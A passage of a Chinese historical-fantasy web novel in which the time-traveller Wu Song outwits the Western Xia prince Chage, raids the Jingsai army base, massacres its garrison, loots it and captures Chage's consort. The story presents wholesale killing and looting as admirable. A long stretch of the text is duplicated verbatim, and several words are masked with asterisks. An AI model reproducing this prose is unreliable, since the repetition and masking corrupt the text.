营寨的事情,武松和种师中商量。
种师中是老将,经验丰富,特别是对西夏了解。
武松作为穿越者,有的是宏观视角,对于细节的把控不如种师中。
商议完毕,各自回去歇息,只把孙二娘、张青单独留下。
“哥哥、嫂嫂,我有个凶险的差事,想让你们去。”
孙二娘喜道:“二郎吩咐便是。”
从京师出发到现在,孙二娘、张青两人都闲着没事干,心里闷得慌,感觉帮不上武松什么忙。
“我须你们二人潜入兴庆府,且在那里做买卖。”
张青好奇地问道:
“兴庆府是西夏的都城,我们去那里做甚?”
“且在那里开个店,便如本分的客店一般,也做些买卖。”
西夏占据河西走廊,往西是西州回鹘等西域诸国,西域和宋朝的商业往来,都要经过兴庆府。
所以,兴庆府是一个非常重要的贸易枢纽。
当然,武松让孙二娘、张青道兴庆府开店,绝非为了做买卖而已。
孙二娘问道:“二郎是要我们在那里站稳脚跟,日后策应你?”
“不错,我出征前,说了要灭掉西夏,有些事情须赶早布置。”
“行,我们明日便走。”
“哥哥、嫂嫂到了兴庆府不能再做**生意,我有个酿酒的技艺教与你们。”
“二郎还知晓酿酒?”
“我是状元,天下无我不知的事情。”
这当然是玩笑话,武松只是刚好知道葡萄酒的酿造工艺。
现代的酿造技术对于整个流程很清楚,特别是酵母菌的存在。
古代不懂微生物,全靠经验。
武松把葡萄酒的酿造工艺仔细说了,孙二娘、张青是懂酿酒的,很快记住了。
此时已经深夜,各自回房歇息。
到了第二日,孙二娘、张青起了个大早。
武松准备了金银给他们带上,鲁智深、杨志、曹正几人听闻他们要走,聚在一起吃了一顿酒。
两人带着几个信得过的伙计,当即往东走。
怀德军东面是环州府,到了环州府,沿着白马河往北,就是西夏国境。
孙二娘、张青走后,武松对外放出消息,说两人水土不服,回孟州去了。
武松又把凌振找来,吩咐他回渭州府去,按照路上说的工艺,配置新式**,铸造火炮和霹雳雷。
渭州府周围有很多硝石矿,硫磺需从山西转运,木炭不难找。
北宋已经有了**、火炮,只是提纯工艺不够好。
武松教了凌振更好的工艺,让他尝试将**颗粒化,提升燃烧率和威力。
凌振接了军令,带着十几个军汉回渭州府。
种师中则在城外督促士兵和俘虏建造防御工事。
察哥吃了
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亏,必定要报复,怀德军必有一场大战。
武松到了校场,施恩、曹正、李二宝三人正在跟着鲁智深练武,周围还有许多将校跟着学。
经过昨日一战,大家见识了鲁智深的厉害,都想跟着学。
施恩、曹正原本武艺不高,学的是野路子,昨日见了阵前厮杀,他们觉得自己不行,想要多学点本事。
武松看了一回,笑道:
“你们这是乱学,师兄力大,所以用六十一斤**禅杖。”
“你们跟着师兄,能学到甚么武艺。”
“若是想学刀法,便跟我学;若是要学枪法,便跟卢师兄、徐教师学;箭法可以问小乙。”
施恩说道:“我原本学的枪棒,还是跟徐教师学,大师的禅杖我学不来。”
曹正笑道:
“我本是个屠户,便跟二郎学刀法。”
李二宝跟着武松时间长,其实都学了,只是练的时间不够。
再则,李二宝见的好东西太多,拳脚、刀枪都见过,看花了眼,说起来什么都会一些,用起来却都不精熟。
武松吩咐李二宝去跟燕青学箭法,他本就是猎户出身。
李二宝听了,找燕青学**。
副将**陪着种师中走在城墙上,看着校场一堆人跟着练武,说道:
“武大人带来的这帮战将好生厉害,那个卢俊义侵晨耍了一套枪法,着实厉害。”
“军中不少人拜在卢俊义门下,做了他的徒弟。”
“还有那个扈三娘的滚龙刀法,是从武大人那里学来的,也好生了得。”
种师中感慨道:
“那些进士及第的文官素来瞧不起咱们,武松却是例外。”
“他自个儿武艺精熟,麾下这帮人都是武夫,只有何运贞一人是进士。”
其实,最让种师中惊奇的,不是武松的文采武略。
而是武松居然能让张吉、何正复这样的官场老油子听话。
何运贞一个榜眼,居然甘愿做武松的小弟。
要知道,一甲进士素来差距不大,榜眼和状元更是相互不服气。
何运贞却服服帖帖,像个小跟班。
还有那个探花欧阳雄,刚到庆州府时,非常倨傲。
可是见了武松,也是服服帖帖的。
这种文武双全,有勇有谋,还能聚拢人心的,可不是什么善类啊...
第184章 提前落子,孙二娘出发
入夜时分。
武松带着一众兄弟在议事厅坐定,种师中和诸位将校也坐下来。
武松开口问道:
“我听闻西夏精锐有擒生军和铁鹞子,为何白日不见他们?”
西夏的军队,也分为中央军、地方军和擒生军。
中央军类似于宋朝的禁军,地方军相当于宋朝的厢军。
擒生军则是西夏独有的军队,这些人专门负责掳掠人口、抢夺物资。
仁多洗忠**六盘山的时候,就抓了很多人口,妇女**、男子当军粮,便是擒生军所为。
西夏由党项人建立,这些人属于游牧,未开化的野蛮子,行事残忍凶狠。
种师道说道:
“大人说得不错,西夏总共有12个监军司,与我们对峙的有6个。”
“西寿保泰军司、静塞军司是他们最精锐的,底下有三支精锐。”
“分别是擒生军,他们负责掳掠;铁鹞子,他们是西夏的重骑马军;步跋子,他们是西夏的步军。”
“白日与我们混战的是步跋子,铁鹞子在后头未曾出动,擒生军到别处掳掠了。”
何运贞问道:
“我听闻铁鹞子是西夏最难对付的马军,白日为何不动?”
“何参议,铁鹞子须跑起来,今日寨子前有陷马坑,跑不起来,所以他们不出动。”
何运贞明白了,随即担忧道:
“若是如此,待擒生军、铁鹞子出动,我军岂非不是敌手?”
种师中无奈叹息道:
“我当日便是被铁鹞子击败,才失了怀德军营寨。”
武松看向徐宁,问道:
“徐将军,你家钩镰枪法专门克制马军,可有办法对付铁鹞子?”
“我只听闻西夏铁鹞子,未曾亲眼见过,须见过后,才敢答应。”
“不急,察哥输了一阵,必定再来,到那时,你再仔细看。”
营寨的事情,武松和种师中商量。
种师中是老将,经验丰富,特别是对西夏了解。
武松作为穿越者,有的是宏观视角,对于细节的把控不如种师中。
商议完毕,各自回去歇息,只把孙二娘、张青单独留下。
“哥哥、嫂嫂,我有个凶险的差事,想让你们去。”
孙二娘喜道:“二郎吩咐便是。”
从京师出发到现在,孙二娘、张青两人都闲着没事干,心里闷得慌,感觉帮不上武松什么忙。
“我须你们二人潜入兴庆府,且在那里做买卖。”
张青好奇地问道:
“兴庆府是西夏的都城,我们去那里做甚?”
“且在那里开个店,便如本分的客店一般,也做些买卖。”
西夏占据河西走廊,往西是西州回鹘等西域诸国,西域和宋朝的商业往来,都要经过兴庆府。
所以,兴庆府是一个非常重要的贸易枢纽。
当然,武松让孙二娘、张青道兴庆府开店,绝非为了做买卖而已。
孙二娘问道:“二郎是要我们在那里站稳脚跟,日后策应你?”
“不错,我出征前,说了要灭掉西夏,有些事情须赶早布置。”
“行,我们明日便走。”
“哥哥、嫂嫂到了兴庆府不能再做**生意,我有个酿酒的技艺教与你们。”
“二郎还知晓酿酒?”
“我是状元,天下无我不知的事情。”
这当然是玩笑话,武松只是刚好知道葡萄酒的酿造工艺。
现代的酿造技术对于整个流程很清楚,特别是酵母菌的存在。
古代不懂微生物,全靠经验。
武松把葡萄酒的酿造工艺仔细说了,孙二娘、张青是懂酿酒的,很快记住了。
此时已经深夜,各自回房歇息。
到了第二日,孙二娘、张青起了个大早。
武松准备了金银给他们带上,鲁智深、杨志、曹正几人听闻他们要走,聚在一起吃了一顿酒。
两人带着几个信得过的伙计,当即往东走。
怀德军东面是环州府,到了环州府,沿着白马河往北,就是西夏国境。
孙二娘、张青走后,武松对外放出消息,说两人水土不服,回孟州去了。
武松又把凌振找来,吩咐他回渭州府去,按照路上说的工艺,配置新式**,铸造火炮和霹雳雷。
渭州府周围有很多硝石矿,硫磺需从山西转运,木炭不难找。
北宋已经有了**、火炮,只是提纯工艺不够好。
武松教了凌振更好的工艺,让他尝试将**颗粒化,提升燃烧率和威力。
凌振接了军令,带着十几个军汉回渭州府。
种师中则在城外督促士兵和俘虏建造防御工事。
察哥吃了
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亏,必定要报复,怀德军必有一场大战。
武松到了校场,施恩、曹正、李二宝三人正在跟着鲁智深练武,周围还有许多将校跟着学。
经过昨日一战,大家见识了鲁智深的厉害,都想跟着学。
施恩、曹正原本武艺不高,学的是野路子,昨日见了阵前厮杀,他们觉得自己不行,想要多学点本事。
武松看了一回,笑道:
“你们这是乱学,师兄力大,所以用六十一斤**禅杖。”
“你们跟着师兄,能学到甚么武艺。”
“若是想学刀法,便跟我学;若是要学枪法,便跟卢师兄、徐教师学;箭法可以问小乙。”
施恩说道:“我原本学的枪棒,还是跟徐教师学,大师的禅杖我学不来。”
曹正笑道:
“我本是个屠户,便跟二郎学刀法。”
李二宝跟着武松时间长,其实都学了,只是练的时间不够。
再则,李二宝见的好东西太多,拳脚、刀枪都见过,看花了眼,说起来什么都会一些,用起来却都不精熟。
武松吩咐李二宝去跟燕青学箭法,他本就是猎户出身。
李二宝听了,找燕青学**。
副将**陪着种师中走在城墙上,看着校场一堆人跟着练武,说道:
“武大人带来的这帮战将好生厉害,那个卢俊义侵晨耍了一套枪法,着实厉害。”
“军中不少人拜在卢俊义门下,做了他的徒弟。”
“还有那个扈三娘的滚龙刀法,是从武大人那里学来的,也好生了得。”
种师中感慨道:
“那些进士及第的文官素来瞧不起咱们,武松却是例外。”
“他自个儿武艺精熟,麾下这帮人都是武夫,只有何运贞一人是进士。”
其实,最让种师中惊奇的,不是武松的文采武略。
而是武松居然能让张吉、何正复这样的官场老油子听话。
何运贞一个榜眼,居然甘愿做武松的小弟。
要知道,一甲进士素来差距不大,榜眼和状元更是相互不服气。
何运贞却服服帖帖,像个小跟班。
还有那个探花欧阳雄,刚到庆州府时,非常倨傲。
可是见了武松,也是服服帖帖的。
这种文武双全,有勇有谋,还能聚拢人心的,可不是什么善类啊...
第185章 绕道怀德军,攻其所必救
西安州。
察哥收拢兵力回到城内,心中烦闷不已。
武松那厮厉害,手下那帮人也是高手。
特别是那个贼和尚,力大无穷,居然把鸠摩罗杀了。
想用暗箭杀鲁智深,结果被识破,打了个小败仗。
副将布雅见察哥烦闷,劝道:
“王爷何必苦闷,今日不过是小败而已。”
“王爷且把擒生军召回,再选一有利地形,让铁鹞子冲阵,必能获胜。”
察哥觉得有道理,当即下令召回擒生军。
至于有利地形,只需平坦开阔之地,铁鹞子都可以冲锋。
只是武松狡诈,如何能让武松出来?
察哥心中又开始烦闷。
看出察哥的心思,布雅又说道:
“《孙子兵法》云:我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也!”
“武松屯兵怀德军,熙州都监曹光远领兵增援,则熙州必然空虚。”
“可使兰州兵进攻熙州,则武松必然出兵救援,王爷于半道使铁鹞子冲杀,必能破他。”
兰州城本是大宋边关,因为童贯兵败缘故,被西夏占了。
卓罗和南军司的兵马如今大部分在兰州城屯扎。
察哥听完,心中不愿意。
因为卓罗和南军司是西夏献王阿惠镇守的地方。
这次出使大宋,察哥吃瘪丢了脸,想攻占大宋的城池,一雪前耻。
如果求献王阿惠出手诱敌,显得自己很无能。
毕竟大宋这边只有两万多人而已,自己则有七万多人。
还有,献王阿惠和晋王察哥关系并不好。
去年击败童贯,两人为了争功劳还吵起来了。
“攻熙州不如进攻渭州。”
察哥说出了自己的打算,布雅摇头道:
“不可,绕过怀德军进攻渭州,万一归路被截断,我们非常危险。”
“我留下两万兵马在西安州,只带五万兵马进攻渭州,武松若是敢出来,我便里外夹击。”
布雅反对察哥的计划,认为太危险了。
察哥一心想要复仇雪耻,又觉得自己人多,坚持执行这个作战计划。
布雅只是副将,无可奈何,只得集结兵马,准备突袭渭州城。
...
怀德军营寨。
武松坐在房间里,手里拿着毛笔,在地图上画线。
古代的地图不详细,画得很粗略。
不过,对于河西走廊的地形,武松是了解的,不详细的地方,武松一一补全。
何运贞手里翻看关于西夏的书籍。
“哥哥,书中所说,西夏兵力有70万,但户籍不过40万户,怎会有如此多的兵马?”
武松放下地图,说道:
“西夏所在之地荒凉干旱,户籍确实在40万户左右,人口不过200多万而已。”
“他们全民皆兵,16岁到60岁的男子都要从军,所以有70万兵马。”
“不过,除去老弱,精锐兵马应在20万左右。”
西夏所在的地方,在北宋徽宗时期已经荒漠化。
腾格里沙漠、**乌素沙漠已经存在,干旱少雨的气候,粮食产出很有限。
反观北宋,户籍有2千多万户,人口在1亿左右。
如此庞大的人口基数,比西夏多50倍,却被西夏压着打。
所以才说宋朝是弱宋!
而造成这个局面的,就是北宋崇文抑武、将从中御的政策。
武将被死死控制,防民甚于防贼!
“我看了,秦凤路、永兴路、河东路三路可用兵马,驻泊禁军、厢军加起来,总计在50万。”
何运贞把自己的测算递给武松。
“察哥此次集结十万兵马,算是西夏的精锐,若能灭掉他们,那么西夏的精锐便只剩下十万。”
“到那时,攻守之势易形,我主攻、他们防守。”
武松把画好的作战地图推给何运贞。
看过地图,何运贞惊奇道:
“哥哥对西夏地形如此熟悉?”
武松只是淡淡一笑,他不止对西夏的地形了解,还游历过西夏王朝旧址。
“你给郓王写一封信,让他调度三路兵马,到渭州府集结。”
“好。”
何运贞当即起草文书,写好后,派骑兵送回渭州府。
戴宗从外面进来,说道:
“二郎,西安州的兵马动了,他们正在赶来。”
“噫?还敢找我厮杀?”
武松很诧异
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,前几日刚刚战败,居然还敢来?
“似乎并非冲着怀德军而来,似乎想绕过怀德军,直奔渭州府。”
何运贞马上说道:
“察哥意图诱敌?”
武松说道:“劳烦院长再去打探,察哥出动了多少兵马,铁鹞子、擒生军是否也在?”
戴宗当即出城打探,也不带其他人,孤身一人前往。
戴宗在军中担任走马承受,负责打探敌情,手下有一百多号人。
不过,遇到紧急情况,戴宗还是喜欢独来独往,这样速度最快。
武松到了议事厅,召集所有人议事。
张吉、种师中和一众将校进来坐下,卢俊义、鲁智深和扈三娘一众战将也进来坐定。
“二郎,可是察哥那厮又来了?”
鲁智深问询,武松点头道:
“察哥出动了,但不知他意欲何为,院长再去打探了,等他回来再计较。”
鲁智深挠头道:
“来了才好,洒家没有杀尽兴。”
等了会儿,戴宗便回来了。
“察哥出动了五万军马,留两万守城,仁多洗忠在西安州。”
“察哥带了擒生军和铁鹞子,还有步跋子,目标不是怀德军,而是渭州城。”
张吉担忧道:
“渭州城无精锐驻守,察哥若直奔渭州城,郓王危矣!”
武松看向种师中,问道:
“种将军以为如何?”
种师中说道:
“我怀德军尚在,绕道进攻渭州城,此乃兵家大忌。”
“察哥此人善能用兵,不该如此。”
卢俊义说道:
“察哥那厮欲要引我等出营寨与他交战。”
张吉点头道:
“卢将军说得不错,但渭州城确实薄弱,我等若不救援,渭州城必破。”
这几日,渭州城的兵马陆续送到了怀德军。
营寨内的兵力已经到了四万,而渭州城几乎是空城,没有兵马驻守。
如果察哥以五万精锐攻城,破城只在须臾之间。
到那时候,渭州城的百姓必遭毒手。
种师中说道:
“此所谓,攻其所必救!”
所有人看向武松,想听听主将的意思。
第186章 反其道而行,以为有把握
城内四万兵马,其中驻泊禁军三万,一万是厢军。
三万禁军中,骑兵只有八千,其他都是步兵。
“种将军,静塞军司还有多少人?”
种师道愣了一下,脸色惊愕地问道:
“武大人想进攻静塞军司?”
武松点头道:“兵法云,攻其所必救。”
“察哥计划进攻渭州府,引诱我离开营寨,然后在平坦之处与我决战。”
“我便反其道而行,待察哥过去,倾巢前往静塞军司,破他老巢!”
“到那时,察哥必然回援静塞军司,我以逸待劳,一举破之!”
怀德军所在位置,处于现代固原市原州区;
静塞军司所在的位置,则处于现代的同心县。
两地相距不过百里。
从静塞军司到怀德军,有一条河,叫做葫芦河。
如今是枯水期,沿着河谷行进,可以突袭静塞军司。
(插图、混沌顿顿)
听完武松的计划,张吉、种师中和其他将校都吓到了。
和西夏交战百余年,从未有人敢杀入西夏的军司,武松是第一个!
镇戎军都监陈罡惊愕地看着种师中,希望种师中可以阻止这个疯狂的想法。
熙州兵马都监曹光远也被吓到了,说道:
“不可,万万不可,杀入西夏境内,万一我等归路被截断,便如去年刘法将军那般,片甲难回。”
去年,刘法战败,就是因为童贯命令刘法强行出击,结果被断绝归路,全军覆没。
覆辙在前,谁不怕?
副将**擦了擦额头的冷汗,感觉这个想法太疯狂了。
“经略相公...”
副将**也希望阻止武松的疯狂想法。
种师中咽了咽口水,看向张吉,问道:
“张总管,你以为如何?”
张吉的心脏怦怦跳。
如果计划成功了,武松就是第一个杀入西夏军司的人。
危险也很明显,万一失败了,就会全军覆没。
但是,武松不可能失败!
张吉从何正复那里得知,武松能掐算天机,从未错过。
所以,武松敢这样做,必定是算过的。
此战必胜!
张吉没想到的是,武松其实也是在赌一把。
“我随二郎一起去!”
张吉激动地赞同。
他要跟着武松,一起立功!
陈罡、曹光远一众将领惊呆了...
张吉原本就是转运使,正四品的官职,属于朝廷大员。
他居然要跟着武松一起去!
武松赞叹道:
“张叔勇气可嘉!”
听武松叫自己“张叔”,张吉喜不自胜:
“我是马军都总管,二郎是步军都总管,你自去,我岂能落后。”
马步军都总管都去了,其他人还有甚么话说。
鲁智深站起来,挠着光头骂道:
“二郎这法子好,待洒家捅破他老巢,看他那撮鸟还能嚣张!”
扈三娘没有任何犹豫,只要跟着武松,刀山火海都肯去。
卢俊义点头道:
“富贵险中求,二郎此计若是成了,大功一件!”
杨志喜道:
“破了静塞军司,洒家便是立了大功!”
徐宁和施恩、曹正都赞同,愿意跟随武松。
燕青、李二宝当然没话说,他们是随从,主人到哪里,他们跟到哪里。
最后就是看种师中了,他虽然级别低,但他是老将,他的意见很重要。
种师中说道:
“察哥集结了西寿保泰军司、静塞军司的精锐,此时的静塞军司必然空虚。”
“武大人若能突袭,破城不难。”
“只是...渭州城无有防备,只怕守不住。”
不管怎么说,赵楷是王爷,如果渭州城被攻破,赵楷阵亡,他无法向徽宗交代。
“我只带禁军前往,留下厢军与种将军。”
“只待察哥过了营寨,我便出发,种将军带着厢军回援渭州城。”
种师中心里算了算,这样做也行。
武松都不怕死,他也不顾不了许多。
“如此,便依武宣抚意思。”
种师中答应了,其他人没话说了。
武松当即点将:
“张叔,你统领卢将军、杨将军、施将军三人,领马军在前。”
“得令!”
张吉起身接了将令。
“鲁将军、徐总管、曹将军,你们随我。”
“得令!”
武松又对陈罡、曹光远一众将领吩咐道:
“诸位将军各自听从辖制,不得有误!”
“末将得令!”
武松、张吉亲自带头,卢俊义、鲁智深、扈三娘这些人都是武松的亲信,全都冲在前面,他们没话说。
作为武将,他们最鄙视的就是文官躲在后面瞎指挥。
武松这种自己带头冲的,他们愿意拼命。
武松又对戴宗、时迁吩咐道:
“劳烦院长和时迁老弟先走一步,沿着葫芦河谷打探情况。”
“好,我等便去。”
戴宗和时迁先一步出城,骑马往葫芦河谷打探。
城内兵马立即调动,禁军和厢军分开列阵,人马饱食。
武松派信使快马赶往渭州城送信。
斥候出城打探,只等察哥的兵马过去,武松就出发。
等到中午时分,察哥的五万兵马从怀德军西边过
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去,丝毫不掩饰行军路径。
等到下午时分,斥候回报察哥没有回头,武松下令所有禁军出发。
武松骑马带着扈三娘、李二宝在最前面,步兵由鲁智深、杨志和曹正三人统领,原本的都监、都指挥充当副将。
同时,种师中带着厢军回援渭州城,只留下少数兵马守营寨。
至于怀德军营寨,武松不在乎,丢了就丢了。
而且,如果突袭顺利,察哥必然全速回援静塞军司,无暇进攻怀德军营寨。
渭州城那边,赵楷一直在调动兵马,在渭州城集结,然后送往怀德军。
城内不可能完全没有兵马,总能支撑一些时候。
最关键的就是武松能否顺利突袭!
武松和张吉在最前面,八千骑兵沿着河谷进发。
此时冰雪刚刚尚未消融,河谷水不多,地面坚硬。
行进几十里后,太阳落山,一轮寒月挂在天上,照亮昏暗的河谷。
西北之地水土流失严重,沙土多,所以河道比官道平坦。
加上两侧有遮挡,便于秘密行军。
武松连夜赶路,骑兵走得快,步兵在后面紧紧追赶。
鲁智深性子躁,看后面的步兵慢了便骂人。
徐宁劝鲁智深少骂人,夜间赶路本就辛苦。
鲁智深只得耐着性子等步兵赶上。
...
渭州城。
日头还未落山,赵楷在府衙刚刚喝完药。
一个信使匆匆进来,把武松的信呈给赵楷。
拆开看了,赵楷脸色骤变,慌忙召集何正复、欧阳雄议事。
两人进来,赵楷把信递给何正复,说道:
“察哥正带领五万精锐攻城,武松那厮居然不救我,反去突袭静塞军司。”
欧阳雄看了,手有点发抖:
“二郎怎的如此?万一城破了,我等如何是好?”
何正复却很淡定,笑道:
“王爷莫慌,二郎既然如此筹划,必定能成。”
“我们按照二郎吩咐,召集城内军民守城。”
“种将军也会带领厢军回援,渭州城必定无恙。”
见何正复如此淡定,赵楷倒是心安了不少。
“何大人对武松那厮如此信任?”
赵楷感觉何正复父子两人对武松几乎是无条件的信任,他有点无法理解。
何正复笑呵呵说道:
“二郎文武双全,筹划必然没错的。”
其实,何正复内心的想法是:
武松此人能掐算未来,他敢如此行军,必定是算过的。
静塞军司必能攻破,察哥也必定回援,渭州城定然无事。
他和张吉一样,以为武松算好了。
其实...武松就是在赌!
第187章 静塞军司,你失算了
“那边按照武松所言,传令,所有军民准备防守!”
“再把凌振找来,将**备好。”
将领传下,城内还有五千多兵马刚到的,立即上了城墙备战。
城内百姓也被动员起来,男子青壮全部上城墙防守,发放兵器。
城内忙忙碌碌一晚上,到了第二天清晨时分,赵楷从睡梦中被叫醒。
察哥的五万兵马到了!
赵楷匆匆忙忙上了城墙,何正复、欧阳雄都在。
渭州城的都指挥使秦师锡正在指挥军民防守,凌振把火器准备好。
隆隆的战鼓声敲响,察哥下令攻城。
西夏步跋子选定渭州城侧门,猛烈发动进攻。
赵楷亲自到了城墙,指挥反击。
**从城墙上落下,烧得步跋子哇哇叫。
城外。
察哥骑在马上,望着拼死抵抗的渭州城,皱眉道:
“城内居然还有这许多兵马?”
副将布雅说道:
“宋国的郓王就在城内,他正在集结各路兵马,送往怀德军。”
“这些都是临时拼凑的,若是全力攻城,应该可以攻破。”
察哥却摇头道:
“不,我此行是为了围点打援,引诱武松那厮出来。”
“我若全力攻城,顿兵城下,**了武松奸计。”
“怀德军那边如何了?武松可出来了?”
察哥刚问,斥候便跑回来,说怀德军来了,就在后面十几里。
听到这个消息,察哥感觉喜从天降!
“停止攻城,步跋子列阵、铁鹞子准备冲阵、擒生军做好追杀准备!”
副将布雅也很高兴,没想到这个计策成了。
怀德军的禁军精锐只有两万多,其他都是厢军。
不管是数量还是战斗力,西夏占据绝对优势。
只要武松出来了,胜负已定!
西夏鸣金,攻城的步跋子撤退,在渭州城外空地列阵。
赵楷在城上指挥反击,打得正激烈,西夏突然停止攻城了。
欧阳雄看向城外,说道:
“果然如武大哥预料,西夏后撤了。”
赵楷松了口气,事情的发展和武松预料一样,那就没事了。
何正复拍了拍身上的灰尘,笑道:
“我早知道二郎不会错。”
西夏士兵后撤,城上的百姓也很高兴。
凌振走过来,问道:
“西夏为何停止攻城了?”
欧阳雄笑道:
“他们不但后撤,马上还要逃跑。”
“为何?”
凌振不明白,欧阳雄故作高深道:
“你待会儿便知晓了。”
城外。
察哥披着环甲,手持**,骑马站在中间,旁边有两个目光凶狠的将领,细长的眼睛看向北面。
这两人是铁鹞子的指挥使和副指挥使。
副将布雅望着赶来的宋军,奇怪道:
“为何都是厢军?禁军精锐呢?”
大宋禁军和厢军所穿的服饰不一样,一眼就能辨认出来。
原本察哥已经做好了冲锋的准备,先让铁鹞子跑起来,趁着武松没有列阵,打武松一个措手不及。
可是见到眼前的厢军,察哥心里突然有种不好的预感。
种师中带着兵马到了渭州城外,望着列阵的西夏兵马,带着将领出阵,到了察哥前方。
“武松何在?”
察哥大声喝问。
种师中哈哈笑道:
“察哥,你失算了,武松此时已经攻破静塞军司,还要攻下西寿保泰军司,再破西安州!”
听到这话,察哥感觉如坠冰窟。
他没想到武松胆子这么大,竟敢袭击静塞军司。
“你敢诓我!”
“察哥,是也不是,你自知晓!”
种师中指了指身后的厢军,说道:
“你若要战,我便与你死战!”
“只是你的两大军司,都要破了!”
静塞军司、西寿保泰军司是察哥的地盘,也是他的势力范围。
如果两个军司被攻破,那他的老巢就没有了。
虽说营寨内没有什么兵马,但西夏皇帝李乾顺必定认为他无能。
到那时候,两大军司可能会给别人,他就成了没有实权的王爷了。
还有,察哥的王妃此时还静塞军司。
何运贞从种师中身后出来,指着察哥骂道:
“察哥,你大可不回去,与我等死战!”
“只是你的老巢要也不要!若是不要了,便留下来!”
“你自以为懂兵法,却只学了皮**罢了!”
“你的计策,都在二郎的算计之中!”
“岂有此理!”
察哥暴怒,就要厮杀,副将布雅连忙劝道:
“王爷,先回援军司!”
“他破我军司,我破他渭州城!”
“渭州城坚固,种师中在此处,急切攻不下,若武松破了军司,再回兵夹击,我等危矣!”
“狗贼,气煞我也!”
西夏大军连忙集结,匆匆往北撤退,回援静塞军司。
看着西夏大军后撤,副将**问道:
“是否追杀?”
“不急...”
西夏
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军队刚刚撤退,这时候如果进攻,察哥可能狗急跳墙。
等西夏军队跑远了,种师中开始下令追杀。
这时候,西夏军队已经知道要回援,无心交战,追杀没有风险。
城墙上,赵楷望着西夏军队离去,种师中尾随追杀,高兴地骂道:
“武松这厮算对了!”
何正复气定神闲地笑道:
“二郎算无遗策,所以下官才说,王爷不必惊慌。”
西夏兵马退去,城内军民大声欢呼。
赵楷下令解决戒备,都指挥使秦师锡请求援助种师中,一起追杀西夏兵马。
赵楷准了,秦师锡带着马军往北追杀。
...
渭州城开战的时候,武松也已经抵达静塞军司。
和怀德军营寨一样,静塞军司也是一座依托在高地上修建的军寨。
从葫芦河谷出来,武松望见了静塞军司。
张吉在武松身后,看着近在眼前的静塞军司,惊喜道:
“真的到了!”
身后一众将领也感觉不可思议,没想到真的能突袭到静塞军司。
戴宗跑回来,说道:
“二郎,时迁已经混入军寨,只等他放火。”
“好,且先吃些东西。”
军寨内。
此时刚刚天亮,守军正处于懒散之时。
仓库的军士从打开大门,站在旁边撒尿。
时迁一只手勾在屋檐上,悄悄摸到后面,寻了一处窗户,轻轻钻进去。
仓库里面堆放着粮草,都是干燥易燃的东西。
时迁从怀里摸出火折子,扒开塞子,轻轻吹了吹,火星子冒出来。
抓了一把干草,轻易点燃。
见干草烧了,时迁又把火苗散开,一瞬间,仓库燃起熊熊大火。
“着火了...”
守仓库的士兵尿撒了一半,赶忙提起裤子大喊。
周围的士兵赶忙跑过来救火,却见周围几个仓库也同时燃起大火。
静塞军司一时乱成一锅粥。
趁着混乱,时迁却没有出城,而是往中军大寨摸去。
葫芦河谷,武松望见浓烟燃起,喜道:
“时迁得手了,杀!”
杨志大喜道:
“今日合该我立功!”
带着身后骑兵,杨志第一个往前冲向寨门。
鲁智深哪里按捺得住,提着禅杖便往前冲。
身后的宋军见果然没有防备,个个往前冲锋。
武松转头对张吉说道:
“张叔随后,我先走了!”
说罢,武松策马往前,当头冲向军寨大门。
第188章 攻占军司,俘虏王妃
军寨内火光冲天,烧得哔哔啵啵炸响。
士兵从慵懒的睡梦中惊醒,匆匆赶往仓库救火。
旁边是葫芦河,但河里没有水,只能打井水灭火。
军寨内的水又不多,根本灭不了,眼看着火势越来越大。
看守寨门的士兵也跑下去救火。
西夏占据了大宋的西安州,战线打到了大宋境内,静塞军司属于后方,他们根本没想过会有人杀过来,防备松懈。
杨志骑马冲到军寨门口,挥刀劈开大门,鲁智深随后赶到,纵身从马背上跳下来,两条胳膊硬生生推开了大门。
武松带着扈三娘、李二宝赶到,冲进了军寨。
卢俊义带着骑兵杀入军寨内,正在救火的西夏士兵吃了一惊,怎么也想不到宋军会出现在军司。
鲁智深狂喜,提着禅杖见人就杀。
徐宁、曹正带领的步军终于杀入寨内的时候,武松已经进了中军大寨。
来不及逃走的西夏士兵被全部杀了,鸡犬不留!
走进正厅,时迁坐在桌上,手里啃着面饼:
“哥哥来迟了,小弟都吃饱了。”
张吉赞叹道:
“古时孟尝君养士,鸡鸣狗盗之辈助他脱困。”
“今日时迁将军放火烧营,立了大功!”
时迁嘿嘿笑道:
“哥哥抬举我,做了走马承受副使。”
“若不是这等,我还在盗墓挖坟。”
众人哈哈大笑。
徐宁从外面进来,说道:
“二郎,军司内的士兵不多,只有两千多人,都杀了。”
“这里囤积了许多粮草,如何处置?”
武松传令:
“告诉兄弟们,能拿多少拿多少,拿不走的全烧了!”
军令传下,全军欢呼,两万多人开始洗劫静塞军司。
这里是晋王察哥经常居住的地方,所以囤积了不少好东西。
卢俊义有钱,不屑于搜刮,鲁智深不在乎钱财,也没有去。
杨志名门之后,也不喜欢这样做。
倒是施恩、曹正和戴宗、李二宝抢了不少金银珠宝。
很快,静塞军司被劫掠一空,一晚上急行军的疲惫全没了。
武松心中暗道:
以前看史书,将军为了激励士气,下令入城后劫掠三天。
当时觉得这样做过分,现在看来真是特效药啊。
劫掠完毕,全军开始烧火做饭。
没有烧掉的粮食拿出来就地煮饭,大家吃个浑饱。
武松站在高处,俯视周围地形,扈三娘跟在身后。
李二宝牵着一个美貌妇人走过来,说道:
“主人,抓到一个妇人,说是察哥的王妃。”
武松仔细看了一眼,颇有姿色,但仅此而已。
扈三娘皱眉,立即说道:
“赏给你了!”
她担心武松收了这个王妃,所以先把王妃赏给李二宝。
“太老了,我不要。”
李二宝嫌弃,妇人怒道:
“我是王妃,你一个兵丁,竟敢嫌弃我!”
武松愣了一下,笑问道:
“你是察哥的王妃?”
“我叫梁瑶,是察哥的正妃!”
“你为何在此?”
“我跟随王爷到这里,你们赶紧把我放了,等王爷的铁鹞子回来,你们都得死!”
武松哈哈一笑:
“老子来就是为了杀你老公!”
“把她绑起来,送回京师,献给官家。”
李二宝看王妃有些姿色,问道:
“主人不要么?这王妃也算美貌。”
扈三娘生气了,抬手狠狠凿了一个爆栗子,骂道:
“二郎是臣子,收了西夏王妃,岂不是谋反!”
武松笑道:
“三娘说得对,我是忠臣,不是权臣反贼,把她绑了,送回京师献俘。”
李二宝笑呵呵把王妃拖下去绑了。
将士吃饱喝足,就地休整,军寨内的战马全部收了。
鲁智深从仓库里找了几坛酒,抱出来和其他人一起吃。
张吉自然不喝,因为还在打仗。
杨志、徐宁也不喝,施恩、曹正也说还在打仗,莫要贪杯误事。
鲁智深焦躁,嚷嚷道:
“干鸟么!洒家吃了酒便要误事?”
